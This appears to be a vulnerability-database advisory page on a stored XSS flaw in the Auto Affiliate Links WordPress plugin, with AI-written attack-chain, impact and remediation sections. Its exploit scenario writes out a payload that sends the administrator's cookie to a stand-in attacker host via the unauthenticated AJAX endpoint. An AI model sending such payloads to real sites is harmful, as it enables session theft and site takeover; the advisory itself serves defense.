Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend crafted POST to admin-ajax.php with malicious URL payload
-
DeliveryBypass authentication via wp_ajax_nopriv_ hook and exposed nonce
-
ExploitStore unsanitized JavaScript in database
-
ExecutionAdministrator views statistics dashboard
-
PersistExecute stored XSS in admin context
-
ImpactExfiltrate session tokens or create backdoor accounts
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the Auto Affiliate Links plugin to be installed and active on the target WordPress site (versions 6.8.8 or earlier). The vulnerable AJAX endpoint is registered via wp_ajax_nopriv_aal_url_stats_save, making it accessible without WordPress authentication. The description explicitly states 'leveraging a publicly exposed nonce and an unauthenticated AJAX endpoint' - meaning the nonce validation mechanism that should protect against CSRF is bypassed or improperly implemented, allowing arbitrary attackers to submit URL statistics. For payload execution (not just storage), an administrator must visit the plugin's statistics page where aal_display_clicks() renders the stored URLs. Attack vector is network (AV:N), complexity is low (AC:L), and no privileges are required (PR:N) for initial payload injection. However, the 'no user interaction' (UI:N) in the CVSS vector applies to the storage phase; actual impact delivery requires implicit administrator interaction (viewing the statistics page), though this is a normal administrative workflow making exploitation highly probable after payload storage. |
| Impact | This vulnerability presents elevated real-world risk despite the 7.2 CVSS score. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates remote unauthenticated exploitation with low attack complexity and no user interaction required for initial payload storage. However, the Stored XSS nature means actual impact requires an administrator to view the statistics page (adding implicit UI:R for the impact phase). The scope change (S:C) correctly reflects that successful exploitation allows attackers to execute arbitrary JavaScript in an administrator's browser session, enabling actions like creating rogue admin accounts, installing malicious plugins, or stealing session tokens. The combination of unauthenticated access and publicly exposed nonce eliminates typical WordPress defense layers. No EPSS score is provided in the data, and no CISA KEV listing exists, suggesting exploitation is not yet widespread. However, Wordfence's public disclosure with detailed technical references including exact vulnerable code lines (L225, L278, L304) and a visible patch changeset significantly lowers the exploitation barrier. The attack is highly automatable once an attacker identifies sites running vulnerable versions. Priority should be HIGH for WordPress sites using this plugin, particularly those with valuable administrative access or sensitive data. |
| Exploit ScenarioDerived | An unauthenticated attacker crafts a malicious POST request to the WordPress AJAX endpoint (admin-ajax.php) with action=aal_url_stats_save and includes a JavaScript payload in the 'url' parameter, such as: url=javascript:fetch('https://attacker.com/steal?cookie='+document.cookie). The publicly exposed nonce validates the request, and the payload is stored in the WordPress database without sanitization. When a site administrator accesses the Auto Affiliate Links statistics dashboard to review click data, the aal_display_clicks() function renders the stored payload directly into an anchor tag's href attribute and display text. The browser executes the JavaScript, exfiltrating the administrator's session cookie to the attacker's server. The attacker uses the stolen session to log in as the administrator and installs a backdoor plugin for persistent access. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 08, 2026
Stored Cross-Site Scripting in Auto Affiliate Links for WordPress allows unauthenticated remote attackers to inject malicious JavaScript into administrator statistics pages through an unprotected AJAX endpoint. The vulnerability stems from missing input sanitization on the 'url' parameter in aal_url_stats_save_action() combined with direct output of stored values in aal_display_clicks() without escaping. Attackers can exploit a publicly exposed nonce and the wp_ajax_nopriv_ hook to store malicious payloads that execute when administrators view click statistics, potentially leading to session hijacking, privilege escalation, or site compromise. Wordfence reported this vulnerability affecting versions through 6.8.8, with a patch released in version 6.8.8.1.
RemediationAI
Immediately upgrade to Auto Affiliate Links version 6.8.8.1 or later, which implements proper input sanitization and output escaping as confirmed by the patch changeset at https://plugins.trac.wordpress.org/changeset/3519003/wp-auto-affiliate-links/trunk/aal_stats.php and version comparison at https://plugins.trac.wordpress.org/changeset?old_path=%2Fwp-auto-affiliate-links/tags/6.8.8&new_path=%2Fwp-auto-affiliate-links/tags/6.8.8.1. If immediate patching is not possible, implement these compensating controls: disable the plugin until patched (eliminates vulnerability but removes affiliate linking functionality), restrict wp-admin access via IP allowlisting at the web server level (reduces attacker ability to trigger payload execution but does not prevent storage), or implement Web Application Firewall rules to block POST requests to admin-ajax.php containing suspicious JavaScript patterns in the 'url' parameter (may cause false positives with legitimate URLs containing special characters). Note that simply restricting administrative access does not prevent payload injection since the AJAX endpoint is unauthenticated, but it reduces the attack surface for payload execution. Monitor WordPress admin activity logs for unexpected account creations or privilege changes that could indicate successful exploitation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability exists in the Auto Affiliate Links WordPress plugin (CPE: cpe:2.3:a:thedark:auto_affiliate_links), specifically in the statistics tracking functionality within aal_stats.php. The plugin registers an AJAX handler using wp_ajax_nopriv_, making the aal_url_stats_save_action() function accessible to unauthenticated requests. WordPress AJAX endpoints registered with wp_ajax_nopriv_ intentionally bypass authentication, typically requiring other security controls like nonce validation. However, the vulnerable code fails to apply WordPress security functions (esc_url(), esc_attr(), esc_html()) when storing and displaying URL data. The aal_display_clicks() function at line 304 directly echoes user-controlled data into href attributes and anchor text, creating a classic Stored XSS condition (CWE-79). The CVSS scope change (S:C) indicates the injected script executes in the administrator's session context, crossing the plugin's trust boundary into the WordPress core administrative interface. The publicly exposed nonce mentioned in the description represents a critical authentication bypass, as WordPress nonces are designed to prevent CSRF but become ineffective when publicly accessible.
Know when Auto Affiliate Links gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Auto Affiliate Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 6.8.8 This is due to insufficient input sanitization on the 'url' POST parameter in the aal_url_stats_save_action() function and a complete absence of output escaping in aal_display_clicks(), where the stored value is echoed directly into an anchor element's href attribute and inner text without esc_url(), esc_attr(), or esc_html(). This makes it possible for unauthenticated attackers to inject arbitrary web scripts into the admin statistics page that execute in an administrator's browser when the page is visited, leveraging a publicly exposed nonce and an unauthenticated AJAX endpoint registered via the wp_ajax_nopriv_ hook.
Executive ViewAI
The Auto Affiliate Links WordPress plugin (versions ≤6.8.8) contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious code into administrator dashboards via an unprotected endpoint. When site administrators view click statistics, the injected script executes with their privileges, creating risk of session compromise, credential theft, or full site takeover for any organization using this plugin.
Vendor-released patch: Auto Affiliate Links version 6.8.8.1. If immediate patching is not feasible: (1) Disable the Auto Affiliate Links plugin until patching is completed; (2) Restrict access to WordPress admin dashboard to specific IP ranges; (3) Implement Web Application Firewall rules to block unauthenticated POST requests to wp-admin/admin-ajax.php with aal_url_stats_save_action action; (4) Enforce multi-factor authentication for all WordPress administrator accounts.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Auto Affiliate Links
View allCross-Site Request Forgery (CSRF) vulnerability in Lucian Apostol Auto Affiliate Links plugin <= 6.3.0.2 versions. Rated
Cross-Site Request Forgery (CSRF) vulnerability in Lucian Apostol Auto Affiliate Links allows Stored XSS.4.2.4. Rated hi
Missing authorization in the Auto Affiliate Links WordPress plugin (all versions through 6.8.8.3) allows unauthenticated
Cross-Site Request Forgery (CSRF) vulnerability in Lucian Apostol Auto Affiliate Links plugin <= 6.3 versions. Rated med
The Auto Affiliate Links plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capabi
The Auto Affiliate Links WordPress plugin before 6.4.7 does not sanitize and escape a parameter before using it in a SQL
EUVD-2026-28540
GHSA-v3rv-7vgj-hq3v
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB